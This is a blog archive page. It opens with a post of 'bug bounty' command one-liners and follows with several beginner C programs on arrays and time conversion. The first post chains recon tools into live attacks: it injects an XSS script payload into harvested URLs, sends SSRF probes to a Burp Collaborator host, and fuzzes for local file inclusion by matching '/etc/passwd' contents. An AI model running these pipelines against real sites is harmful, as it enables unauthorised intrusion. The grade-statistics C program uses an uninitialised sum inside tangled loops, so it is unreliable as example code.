Posts

Showing posts from April 6, 2021

Bug BOunty Helpful Commands

  cat file.txt | gf xss | grep ‘source=’ | qsreplace ‘”><script>confirm(1)</script>’ | while read host do ; do curl –silent –path-as-is –insecure “$host” | grep -qs “<script>confirm(1)” && echo “$host 33[0;31mVulnerablen”;done >>. to get urls from websites.... waybackurls target.com | tee urlss.txt dalfox file urlss.txt pipe   XSS   cat file.txt | gf xss | grep ‘source=’ | qsreplace ‘”><script>confirm(1)</script>’ | while read host do ; do curl –silent –path-as-is –insecure “$host” | grep -qs “<script>confirm(1)” && echo “$host 33[0;31mVulnerablen”;done SSRF findomain -t example.com -q | httpx -silent -threads 1000 | gau |  grep “=” | qsreplace http://YOUR.burpcollaborator.net LFI Follow this command to find LFI findomain -t example.com -q |  waybackurls |gf lfi | qsreplace FUZZ | while read url ; do ffuf -u $url -mr “root:x” -w ~/wordlist/LFI.txt ; done find JS files on target.com https:/...

How to Find Maximum Grade, Minimum Grade and average using Array in C

  #include <stdio.h> int main(){             int i,max,min,aveg,sum;     int  marks[22]={64,36,56,47,40,54,61,60,58,64,54,48,59,45,63,54,50,49,51,60,58,59}; for ( i=0; i<22; i++) {      max=marks[0];  for( i=0; i<22; i++) {       if(max < marks[i])       max=marks[i];    } min=marks[0]; for( i=0; i<22; i++)   {     if(min>marks[i])     min=marks[i]; }   for (i=0; i<22; i++)        {          sum += marks[i];    }       aveg = sum / 22; printf("The maximum Grade is : %d \n", max); printf("The minimum Grade is : %d \n", min); printf("The Average of the given Grades is : %d \n", aveg); }     return 0; }

How to Find Number of Time Element Found in Array in C

 #include <stdio.h> int main() {          int arr[10], n, i;      int number, count;      printf("Enter elements of the Array : \n");      scanf("%d", &n);      printf("Enter array elements : \n ");      for(i=0; i<n; i++){       printf("Enter Element %d : ", i+1);       scanf("%d", &arr[i]); } printf("Enter value to find number of times element : "); scanf("%d", &number); count=0; for(i=0; i<n; i++){ if(arr[i]==number){ count++; } } printf("Your selected %d element is found in the array %d times \n ",number,count); return 0; }     

How to find index of the Array in C

 #include<stdio.h> int main() {              int i,num,s,flag=0;     int a[10];     printf("How many elements you want to enter :  ");     scanf("%d",&num);     printf("Enter %d elements in the Array ", num);     for(i=0; i<num; i++){     scanf("%d",&a[i]); } printf("Enter the Element you to Search : "); scanf("%d",&s); for(i=0; i<num; i++){ if(a[i]==s){ flag=1; break; } }  if (flag==0){ printf("Not Found "); }else { printf("Element Found "); for(i=0; i<num; i++){ if(a[i]==s) { printf("%d is Present at Location %d \n",s,i+1); break; } } } return 0; }     

Time Calculation || Time Calculator in C

Copy the Source Code and Run on your Editor....  #include <stdio.h> int main() { int Hour; int Minute; int Second; int TotalTimeInSeconds; printf("Enter Seconds\n"); scanf("%d", &Second); printf("Enter Minutes\n"); scanf("%d", &Minute); printf("Enter Hours\n"); scanf("%d", &Hour); printf("Total Time in Seconds is %d",(Hour*60*60)+(Minute*60)+Second); return 0; }

Popular posts from this blog

Very Huge Dorks for SQLi || Web Hacking

How to find index of the Array in C